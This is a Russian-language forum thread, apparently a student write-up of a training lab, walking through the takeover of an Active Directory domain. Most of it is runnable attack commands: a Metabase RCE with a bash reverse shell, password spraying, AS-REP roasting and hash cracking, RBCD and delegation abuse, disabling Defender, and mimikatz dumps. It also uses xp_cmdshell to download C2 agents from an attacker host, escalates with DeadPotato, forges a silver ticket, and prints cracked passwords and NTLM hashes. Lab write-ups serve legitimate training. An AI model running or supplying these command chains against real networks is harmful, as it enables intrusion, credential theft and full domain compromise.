LIMB
Вход Регистрация

тема

Active Directory для чайников часть 8 (Microsoft SQL Server)

sup · · 5 ответов · 761 просмотров

Спойлер: Авторские права
Все авторские права принадлежат студенту и Академии Кодебай

Всех приветствую! Без лишних слов продолжаем тыкать АДшку=)

сеть 10.120.0.0/24

Не удалось прогрузить медиа


Запускаем всю сетку сканиться. Запущу еще просканить отдельно 53 (dns), 88 (kerberos)

Не удалось прогрузить медиа


Скорее всего 10.120.0.10 - это KDC. Дополнительно просканируем его nmap с опцией -Sv.

Не удалось прогрузить медиа


ldap, цербер всё шо нужно есть - это KDC значит.

Что ж проведем небольшую разведку.

Не удалось прогрузить медиа


Таким образом домен: COMP20.LOCAL

И есть следующие хосты 10.120.0.21 (SQL.COMP20.LOCAL), 10.120.0.50 (TERMINAL.COMP20.LOCAL), 10.120.0.22 (BACKUP.COMP20.LOCAL), 10.120.0.10 (DC.COMP20.LOCAL). И да мы были правы что *.10 - это KDC на котором работает цербер днс и прочая шляпа. Один момент.

Не удалось прогрузить медиа


Не пингуется. Нам нужно добавить DNS сервер.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Найс. Теперь синхронизируем время с KDC, вдруг мы захотим тикеты себе повыписывать. Kerberos как мы знаем использует timestamp и не работает с ip адресами. Именно поэтому мы проделали эту процедуру.

Не удалось прогрузить медиа


Ну что ж идем дальше. На 3000 порту торчит веб приложение

Не удалось прогрузить медиа



Не удалось прогрузить медиа


О да, походу уязвимое. Глянем что из себя представляет RCE.

Не удалось прогрузить медиа


Нужно перейти по следующему пути /api/session/properties и скопировать значение setup-token

Не удалось прогрузить медиа


git clone https://github.com/m3m0o/metabase-pre-auth-rce-poc.git - Пулим себе эксплоит.
rlwrap nc -nvlp 4433 - Запуск листенера на kali
python3 main.py -u http://10.120.0.80:3000/ -t 633909c0-92a5-4a25-b857-aaeb1a3c8066 -c "bash -i >& /dev/ tcp/10.0.0.76/4433 0>&1" - Получение шела

Но это лишь в идеале. На деле мне шелл не прилетел=) Хрен его знает почему. (я не тупой и перепробовал разные порты и айпи менял на свой). Должно было получиться вот так.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Забираем креды

metabase
M3taP@ss

Не удалось прогрузить медиа


Это не доменная учетка, что логично. Поэтому используем флаг --local-auth

И так мы имеем на руках доступ к mssql. Вопрос как туда подключиться.

Не удалось прогрузить медиа


Можно конечно использовать гуишку, но это дерьмо полное. У меня прям кровь из глаз пошла. Все же знают такой интересный инструмент "sqlmap", но я думаю мало кто знает, что с помощью него можно подключаться к бд=)

sudo sqlmap -d mssql://[user]:[pass]@ip:port/

Не удалось прогрузить медиа


Не удалось прогрузить медиа



Флаг получен, но это херь. Нам нужны учетки.

Не удалось прогрузить медиа


sudo sqlmap -d mssql://metabase:M3taP@[email protected]:1433/ --search -D control_projects -C mail

о, да хоть настроение чуть поднялось=) flag мы уже просмотрели, осталась еще одна несистемная бд - control_projects и мы там нашли колонку "email". Почему именно ее я стал искать???


Не удалось прогрузить медиа



Логично, что мыла хранятся в бд. Ну так вот

Не удалось прогрузить медиа


Сдампили всю таблицу. Теперь мы понимаем кого нужно ломать=)))

Перечислим пользователей, которые действительно существуют в домене.

Не удалось прогрузить медиа



Спойлер: Учетки

AppT3tsP4ss - получили из базы данных. 

/root/Local/kerbrute_linux_amd64 userenum -d comp20.local --dc 10.120.0.10 /home/username/codeby/laba15/users.txt - проверили реальные ли пользователи или нет.
/root/Local/kerbrute_linux_amd64 passwordspray -d comp20.local --dc 10.120.0.10 /home/username/codeby/laba15/users.txt 'AppT3tsP4ss' - перебрали пользователей по паролю и получили учетку

nxc ldap DC.COMP20.LOCAL -u 'apptest' -p 'AppT3tsP4ss' --bloodhound --dns-server 10.120.0.10 -c ALL -k - собираем базу для bloodhound.

Запускаем хаунд

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Смотрим хаунда и как бы находим GenericWrite


Не удалось прогрузить медиа
👍53 🔥16 😁4 👏4 😢11
ping -c 1 <target> так проще думаю будет.
👍1
Продолжаем двигаться дальше. У нас есть учетка
apptest - юзернейм
AppT3tsP4ss - пароль


Мы собрали дамп из ldap с помощью netexec (модулем bloodhound) теперь мы импортнем полученный архив с данными с bloodhound.

Не удалось прогрузить медиа


Указываем нашу учетку [email protected]


Не удалось прогрузить медиа


Видим следующую цепочку


Не удалось прогрузить медиа


Видим "GenericWrite" флаг. Разберемся что это такое...

Пользователю apptest назначено разрешение GenericWrite на объект(пользователя) APPUSER в Active Directory, это означает, что apptest может изменять атрибуты объекта APPUSER, включая добавление или изменение флагов, таких как DONT_REQ_PREAUTH

Права GenericWrite предоставляют возможность изменения атрибутов объектов, таких как DONT_REQ_PREAUTH, в данном случае для пользователя APPUSER

Флаг DONT_REQ_PREAUTH позволяет запросить TGT для пользователя без знания его пароля, так как этот флаг отключает стандартный процесс предварительной аутентификации, который обычно требует ввода пароля.

TGT (Ticket Granting Ticket) — это билет, который используется в системе Kerberos для авторизации пользователя в домене. В обычной ситуации, чтобы запросить TGT, необходимо знать пароль пользователя, для которого запрашивается билет.

После того, как флаг DONT_REQ_PREAUTH установлен для пользователя APPUSER, злоумышленник с правами GenericWrite (в данном случае apptest) может запросить TGT для этого пользователя и получить доступ к сервисам, использующим Kerberos, без необходимости знать его пароль.

Таким образом, apptest с правами GenericWrite на объект APPUSER может добавить флаг DONT_REQ_PREAUTH для APPUSER, что позволит ему обойти требование предварительной аутентификации и запросить TGT для APPUSER, не зная его пароль. Это открывает возможности для дальнейших атак, таких как использование TGT для доступа к ресурсам в сети, защищенным Kerberos.

После прочтения этого всего вы наверное задались вопросом что такое объект, атрибут, флаг. В чем вообще разница? Я тоже задался поэтому давайте разберемся.
  • Объект — это сама сущность (например, пользователь).
  • Атрибут — это характеристика объекта (например, его имя или электронная почта).
  • Флаг — это бинарный атрибут, который включает или отключает определенную функцию (например, разрешение на вход в систему).

Теперь всё стало на свои места. Продолжаем атаку.

Добавляем пользователю APPUSER флаг DONT_REQ_PREAUTH APPUSER, тем самым Kerberos теперь не запросит пароль и выдаст нам TGT=)

bloodyAD -d 'COMP20.LOCAL' -u 'apptest' -p 'AppT3tsP4ss' --host 10.120.0.10 add uac -f DONT_REQ_PREAUTH APPUSER

Не удалось прогрузить медиа


Получаем хэшик пользователя "appuser", который сбрутим.
impacket-GetNPUsers -dc-ip 10.120.0.10 -request COMP20.LOCAL/appuser -no-pass

Не удалось прогрузить медиа


hashcat -m 18200 hash.txt wordlist.txt
Не удалось прогрузить медиа


Не удалось прогрузить медиа


18200 - это Kerberos 5. Используем мощный словарик, можно взять с нашего форума - https://LIMB.cc/threads/90/

Если хэш не брутиться, то имеет место использовать нестандартные правила для hashcat. К примеру вот: https://github.com/stealthsploit/OneRuleToRuleThemStill

/usr/share/hashcat/rules - тут хранятся стандартные правила для hashcat

А у нас все замечательно. Пароль сбрутился

[email protected]:69c9e5c276a9604614366d1a5f0a8fc2$48a33fbdb1683f62bf4d2e326a4e9ab4a2d8adebe8e670e7c3ff9ba1f8779ea8dafbf0e71cc17ce4142baf319b9eb65868016a573e1a1dc77e8ed4723556b5d5a1caf2a8359bd6af05ed49d7959b786c9e0cb410f76fc9b5f29df56440b328982be4bf5bc45a90c75a35656e5c24793683f24117fa532795028bab30d7af157358d112596719d3d3c78ec4eb729d5fc7f3ccf78524e3cdc14fdf8e8f8bbd02b5c1d48304715cb038f1d7aa23f2fd9755075620eb1645f422a89063f8af12b8eea591e51a6b926f6f4a5418233c3e8b67f7c4813745b9138c9566cc283ab9a2d75deea405debd48ab0994159b:OO6jiTh1897

Фаззим. Узнаем куда мы можем подключиться с новыми кредами

netexec winrm 10.120.0.0/24 -u 'appuser' -p 'OO6jiTh1897'

Не удалось прогрузить медиа


evil-winrm -i TERMINAL.COMP20.LOCAL -u 'appuser' -p 'OO6jiTh1897'

Не удалось прогрузить медиа


Мы сейчас получили сессию с помощью Evil-WinRM она ограниченная. Давайте лучше перейдем в Havoc C2. Создаем listener

Не удалось прогрузить медиа


Генерируем демона


Не удалось прогрузить медиа


upload ../../../../../../../../../../home/kali/Documents/tools/xdemon.exe
.\xdemon.exe

Не удалось прогрузить медиа



Сессия получена!

Не удалось прогрузить медиа


На рабочем столе пользователя находим креды

backup - HJJJo8uew
temp - tmp_pass
rar - JNAi8o7qhwpep9q23i
install - inst_12345678
dbbackup - b4ckup_p4ssw0rd

Не удалось прогрузить медиа

dbbackup:b4ckup_p4ssw0rd - сразу бросается в глаза. Это намек, что нужно подключиться к бдшке. Да, мы сдампили оттуда учетки, но мы работали от учетки "metabase", которая в бд является "guest" гостем. То есть права ограничены. В mssql учетка системная и в бд - это разное.

"dbbackup:b4ckup_p4ssw0rd" намекает на учетную запись с возможными привилегиями на уровне базы данных (например, возможность делать резервные копии или иметь доступ к данным).
sudo sqlmap -d mssql://dbbackup:[email protected]:1433/

Не удалось прогрузить медиа


Не удалось прогрузить медиа




[email protected] 136C400C08DDCFDF74A54FA9F328F587
[email protected] DC9B5DE220F4307BD1146D63E23CED0B
[email protected] 0E89AB07FC1F113DAA40F5D3D4768721
[email protected] A9DBA40DD0CAF07DF95D30BD7DFB6FA9


Не удалось прогрузить медиа


Ждите продолжения=))) всех с НГ
👍5 ❤️1
Продолжаем решать данный таск. Мы получили учетки из бд
[email protected] 136C400C08DDCFDF74A54FA9F328F587
[email protected] DC9B5DE220F4307BD1146D63E23CED0B
[email protected] 0E89AB07FC1F113DAA40F5D3D4768721
[email protected] A9DBA40DD0CAF07DF95D30BD7DFB6FA9

Не удалось прогрузить медиа


Это NTLM хэшики. А значит мы можем запросить TGT. Но сначала через bloodhound простроим цепочку от пользователя [email protected]

Снова сделал дамп для bloodhound

netexec ldap 10.120.0.10 -u "ponamorev" -H "136C400C08DDCFDF74A54FA9F328F587" --bloodhound --dns-server 10.120.0.10 -c All -k

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Далее очистил базу в хаунде (Clear Database). И снова загрузил новый дамп.

Не удалось прогрузить медиа


Грузанул свежий дамп и ввел в качестве таргета [email protected]

Не удалось прогрузить медиа


Появился этот челик. Кликаем на него.

Переходим в раздел "OUTBOUND OBJECT CONTROL" и кликаем на "Transitive Object Control"

Не удалось прогрузить медиа


Теперь мы ясно видим, что у Пономаря есть GenericALL на CONTROLSERVER.COMP20.LOCAL. Это означает, что мы можем скомпрометировать CONTROLSERVER.COMP20.LOCAL. Давайте разберемся в этом вопросе чуть поглубже.

Права GenericAll в контексте Active Directory (AD) означают, что указанный пользователь (или объект) имеет полный контроль над указанным объектом в AD. Это эквивалентно предоставлению всех возможных разрешений для этого объекта.
Например:
  1. Изменение пароля объекта.
  2. Настройка SPN для делегирования (Kerberos Resource-based Constrained Delegation).
  3. Добавление пользователя в локальные группы, такие как Администраторы.
  4. Получение дампа учетных данных через такие инструменты, как secretsdump.py.
  5. Использование атак Pass-the-Ticket или Golden Ticket.
Это дает возможность эффективно контролировать объект и использовать его для дальнейших атак в домене.

Это хорошо. В целом все понятно.

Выпишем TGT Пономарю

impacket-getTGT 'COMP20.LOCAL/ponamorev' -dc-ip 10.120.0.10 -hashes :136C400C08DDCFDF74A54FA9F328F587

Меняем пароль на CONTROLSERVER

KRB5CCNAME=ponamorev.ccache bloodyAD -d 'COMP20.LOCAL' -u 'ponamorev' -k --host DC.COMP20.LOCAL set password 'CONTROLSERVER$' 'theskill19'

Символ $ в конце CONTROLSERVER$ указывает на учетную запись компьютера в Active Directory. Такие учетные записи представляют собой объекты компьютеров в AD и всегда заканчиваются этим символом. Он нужен для выполнения операций, связанных с машиной, а не с обычным пользователем.

RBCD атака

bloodyAD -d 'COMP20.LOCAL' -u 'CONTROLSERVER$' -p 'theskill19' --host DC.COMP20.LOCAL add rbcd 'TERMINAL$' 'CONTROLSERVER$'


Имперсонируемся как "Администратор" - именно кириллицей, т.к у нас русская локализация.
python3 getst.py -dc-ip 10.120.0.10 -spn 'CIFS/TERMINAL.COMP20.LOCAL' -impersonate Администратор 'COMP20.LOCAL/CONTROLSERVER$:theskill19'

Не удалось прогрузить медиа


И получаем вот такую вот ошибку. Все дело в том, что у нас лаба. И изменения, которые мы вносим очищаются, чтобы не мешать другим ученикам. Поэтому выполним все предыдущие команды одновременно. 
impacket-getTGT 'COMP20.LOCAL/ponamorev' -dc-ip 10.120.0.10 -hashes :136C400C08DDCFDF74A54FA9F328F587
KRB5CCNAME=ponamorev.ccache bloodyAD -d 'COMP20.LOCAL' -u 'ponamorev' -k --host DC.COMP20.LOCAL set password 'CONTROLSERVER$' 'theskill19'
bloodyAD -d 'COMP20.LOCAL' -u 'CONTROLSERVER$' -p 'theskill19' --host DC.COMP20.LOCAL add rbcd 'TERMINAL$' 'CONTROLSERVER$'
python3 getst.py -dc-ip 10.120.0.10 -spn 'CIFS/TERMINAL.COMP20.LOCAL' -impersonate Администратор 'COMP20.LOCAL/CONTROLSERVER$:theskill19'


Не удалось прогрузить медиа


KRB5CCNAME=Администратор@[email protected] impacket-psexec 'Администратор@Terminal.COMP20.LOCAL' -k -no-pass -codec cp866

Не удалось прогрузить медиа


Получаем сессию от имени Системы


Не удалось прогрузить медиа


Давайте подведем небольшой итог. Мы нашли учетки на рабочем столе пользователя, поскольку в юзернейме было "db" мы подключились к mssql, т.к эта учетка была конкретно создана для mssql.. Выгрузили с mssql новых учеток с NTLM хэшами. Раз уж учетка доменная, есть username, NTLM хэшик ничего нам не мешает получить TGT. А значит мы можем через bloodhound простроить цепочку атак. Мы ввели в качестве таргета ponamorev и узнали, что у него есть право GenericALL на CONTROLSERVER.COMP20.LOCAL. 

- GenericALL есть. Значит мы можем менять пароль от CONTROLSERVER.COMP20.LOCAL. 

Раз уж мы можем управлять объектом CONTROLSERVER.COMP20.LOCAL то загоняем его снова в хаунд и строим цепочку атак. Теперь мы знаем что у CONTROLSERVER.COMP20.LOCAL есть GenericWrite на TERMINAL.COMP20.LOCAL. Это означает мы можем выполнить RBCD атаку. 

RBCD (Resource-Based Constrained Delegation) атака 
  • Исходные условия:
    • Злоумышленник имеет контроль (например, GenericWrite) над объектом TERMINAL.COMP20.LOCAL.
    • Цель: получить доступ от имени пользователя с более высокими привилегиями.
  • Действия злоумышленника:
    • Настраивает атрибут msDS-AllowedToActOnBehalfOfOtherIdentity объекта TERMINAL.COMP20.LOCAL, добавляя туда свою учетную запись.
    • С помощью TGT своей учетной записи (или учетной записи скомпрометированного пользователя) запрашивает Kerberos Service Ticket от имени цели.
  • Результат:
    • Злоумышленник использует Kerberos Service Ticket, чтобы получить доступ к TERMINAL.COMP20.LOCAL от имени пользователя с более высокими привилегиями

Исходные данные которые у нас есть=)

[email protected] - объект (пользователь) - вытащили с бд. 

CONTROLSERVER$ - это имя учетной записи компьютера в Active Directory

TERMINAL.COMP20.LOCAL - это хост
  1. [email protected] → GenericALL → CONTROLSERVER$
    • Сбрасываем пароль учетной записи CONTROLSERVER$ и захватываем управление.
  2. CONTROLSERVER$ → GenericWrite → TERMINAL.COMP20.LOCAL
    • Настраиваем делегирование (msDS-AllowedToActOnBehalfOfOtherIdentity) для CONTROLSERVER$ на хосте TERMINAL.COMP20.LOCAL.
  3. CONTROLSERVER$ → Имперсонификация → Administrator
    • Используем CONTROLSERVER$ для имперсонификации Administrator на TERMINAL.COMP20.LOCAL.
  4. Administrator → Полный контроль → TERMINAL.COMP20.LOCAL
    • Получаем административный доступ к хосту TERMINAL.COMP20.LOCAL.

bloodyAD -d 'COMP20.LOCAL' -u 'CONTROLSERVER$' -p 'theskill19' --host DC.COMP20.LOCAL add rbcd 'TERMINAL$' 'CONTROLSERVER$'

Что происходит при выполнении команды?​

  1. Аутентификация:
    • Учетная запись CONTROLSERVER$ аутентифицируется в домене с помощью предоставленного пароля theskill19.
  2. Подключение к контроллеру домена:
    • Через указанный контроллер домена DC.COMP20.LOCAL команда отправляет запросы LDAP для взаимодействия с объектами AD.
  3. Изменение атрибута:
    • В атрибут msDS-AllowedToActOnBehalfOfOtherIdentity объекта TERMINAL$ добавляется информация о том, что учетной записи CONTROLSERVER$ разрешено действовать от имени других пользователей при доступе к ресурсу TERMINAL.COMP20.LOCAL.
👍4 🔥1
Это последняя часть) Надеюсь не заскучали. Поскольку мы получили доступ к новой машинке нужно осмотреться))

Раз уж мы система почему бы не отключить defender, возможно он нам помешает, когда мы будем производить разведку
Code:
powershell Set-MpPreference -SubmitSamplesConsent NeverSend
powershell Set-MpPreference -MAPSReporting Disabled
powershell Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\windows\tasks" - добавить в исключение

Скрипт PowerView.ps1 содержит ряд функций, которые можно использовать для перечисления Домена.

Вот сам скрипт: https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

Не удалось прогрузить медиа


По непонятным мне причинам Havoc не дал импортнуть модуль PowerView. Поэтому пришлось возвращаться к psexec. Переходим в powershell 

Не удалось прогрузить медиа



Code:
Import-Module .\PowerView.ps1
Get-DomainComputer

Ищем инфу на TERMINAL.COMP20.LOCAL, т.к именно его мы скомпрометировали, мы на нам система)

Не удалось прогрузить медиа


Атрибут msDS-AllowedToDelegateTo учетной записи пользователя службы содержит список SPN (служб), для которых он (и его службы) может запрашивать ST от имени клиента. Этот список сервисов используется в классическом ограниченном делегировании.

п****ц да хуйня непонятная? Вот и я о том же. Напридумали хуйни сиди разбирайся. Нельзя было просто написать, что атрибут msDS-AllowedToDelegateTo показывает нам, что пользователь с terminal.comp20.local может запрашивать TGS или ST (однохуйственно) от имени любого пользователя. То есть приходит какой-нибудь [email protected] и говорит DC слушай мне нужен SERVICE TICKET на MSSQLSvc/SQL.COMP20.LOCAL:1443 от имени Администратор. 

Какие условия должны быть соблюдены на TERMINAL.COMP20.LOCAL

1) Атрибут msds-allowedtodelegateto содержит MSSQLSvc/SQL.COMP20.LOCAL:1433 (SPN:port)
2) А также пользователь под которым мы будем имперсонализироваться не должен быть включен в защищенную группу и у него должно быть разрешение на делегирование.
Для успешного делегирования через MSSQLSvc/SQL.COMP20.LOCAL:1433 должны быть соблюдены следующие условия:

  1. SPN зарегистрирован и связан с учетной записью SQL Server.
  2. SQL Server настроен на использование Kerberos-аутентификации.
  3. Имя SQL.COMP20.LOCAL корректно разрешается через DNS.
  4. Хост доступен по сети с хоста, выполняющего делегирование.
  5. В msds-allowedtodelegateto указан SPN MSSQLSvc/SQL.COMP20.LOCAL:1433

Через mimikatz сбрасываем хэш машинной учетной записи

shell mimikatz.exe "sekurlsa::ekeys" "exit"

Не удалось прогрузить медиа


Запрашиваем тикет (ST)

python3 getst.py -dc-ip 10.120.0.10 -spn 'MSSQLSvc/SQL.COMP20.LOCAL:1433' -impersonate sa_sql 'COMP20.LOCAL/TERMINAL$' -hashes :38aabea1bc033c53aaf07c1727de660c

Не удалось прогрузить медиа


Не удалось прогрузить медиа


В целом мы можем запрашивать ST от имени любой учетки доступной в базе Kerberos, которая не защищена (домейн админ группа и т.д).  

Подключимся к mssql

KRB5CCNAME=sa_sql@MSSQLSvc_SQL.COMP20.LOCAL:[email protected] impacket-mssqlclient -k -nopass '[email protected]'@SQL.COMP20.LOCAL

enable_xp_cmdshell - включил выполнение команд

Не удалось прогрузить медиа


xp_cmdshell powershell iwr 10.0.0.76:8080/agent.exe -o C:\windows\tasks\agent.exe - скачал бинарь c C2

Не удалось прогрузить медиа


Запустил бинарь

xp_cmdshell C:\windows\tasks\xdemon.exe

Не удалось прогрузить медиа


Получили сессию

Не удалось прогрузить медиа


Берем систему с помощью DeadPotato (посмотрев whoami /all понял что есть нужная привилегия)

powershell wget http://10.0.0.76/DeadPotato-NET4.exe -O C:\windows\tasks\ts19_DP.exe

Не удалось прогрузить медиа


Качаем mimikatz на хост

wget http://10.0.0.76/mimikatz.exe -O C:\windows\tasks\ts19_mim.exe

burilov : 8xVnv4uL2Xk2{3#F - Получили узнав в мимике .\ts19_mim.exe "token::elevate" "lsadump::secrets" "exit" + посмотрев пользователей в C:\users

Фаззим доступы

netexec smb 10.120.0.0/24 -u "burilov" -p "8xVnv4uL2Xk2{3#F"


Не удалось прогрузить медиа


wget http://10.0.0.76/RunasCs.exe -O C:\windows\tasks\ts19_RC.exe
.\ts19_RC.exe burilov '8xVnv4uL2Xk2{3#F' "C:\windows\tasks\ts19.exe" - Получил сесию пользователя burilov
reg query HKCU\Software\HeidiSQL\Servers\BACKUP_app\ - получил пароль хэш

Не удалось прогрузить медиа


Поискал инфу как можно получить расшифрованный пароль в инете, нашел как примерно сделали на гите через js я написал свою программу

Не удалось прогрузить медиа


Ну так идем подключаться к базе app : MCLsowqq123 - Подключились в базе 10.120.0.22

Не удалось прогрузить медиа


Не удалось прогрузить медиа



EXECUTE AS USER='dbo'
SELECT SYSTEM_USER UNION SELECT USER_NAME();
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'powershell iwr 10.0.0.76/agent.exe -o C:\windows\tasks\ts19.exe'; - получил отстук на havoc

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Не удалось прогрузить медиа


Далее опять DeadPotato юзаем и когда получили Систему используем mimikatz для получения кредов

shell ts19_mim.exe "token::elevate" "lsadump::secrets" "exit"

(креды с мимика получили)

Не удалось прогрузить медиа


 .\ts19_rub.exe silver /user:sa_sql_dc /service:MSSQLSvc/DC.COMP20.LOCAL:1433 /
 rc4:5A124170E23150D7A7A8E9C5C1FA2EAA /ldap /groups:544,518,519,512,520,513 /nowrap /ptt - получили сильвер тикет 
 nano sa_sql.base64 - сохранили полученый тикет
 base64 -d sa_sql.base64 > sa_sql.kirbi - понвертнули в кирби
 impacket-ticketConverter sa_sql.kirbi sa_sql.ccache - скомпилили тикет
 KRB5CCNAME=sa_sql_dc.ccache impacket-mssqlclient -k -no-pass 
'[email protected]'@DC.COMP20.LOCAL - подключились и скачали бинарь
xp_cmdshell powershell iwr 10.0.0.76/agent.exe -o C:\windows\tasks\ts19.exe - скачал бинарь
xp_cmdshell C:\windows\tasks\ts19.exe - запустил бинарь

На этом пока что остановимся) Чуть позже напишу вывод и составлю kill chain:)(y)
👍3
Немного дополню.
Не удалось прогрузить медиа

Ищем где в сети еще крутится, MSSQLSvc

Не удалось прогрузить медиа

Тут берем СИД домена

Не удалось прогрузить медиа

тут берем ид юзера

Запрашиваем Silver тикет

impacket-ticketer -domain-sid S-1-5-21-3930362879-2229561944-3946683614 -domain comp20.local -spn 'MSSQLSvc/DC.COMP20.LOCAL:1433' -nthash 5a124170e23150d7a7a8e9c5c1fa2eaa -user-id 2101 -groups 513,512 'sa_sql_dc' && export KRB5CCNAME=sa_sql_dc.ccache && impacket-mssqlclient 'COMP20.LOCAL/[email protected]' -target-ip 10.120.0.10 -dc-ip 10.120.0.10 -no-pass -k

Дальше включили выполнения команд и прогруз бекона

Не удалось прогрузить медиа



Дальше, прогрузил картоху, и получил SYSTEM
👍1

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.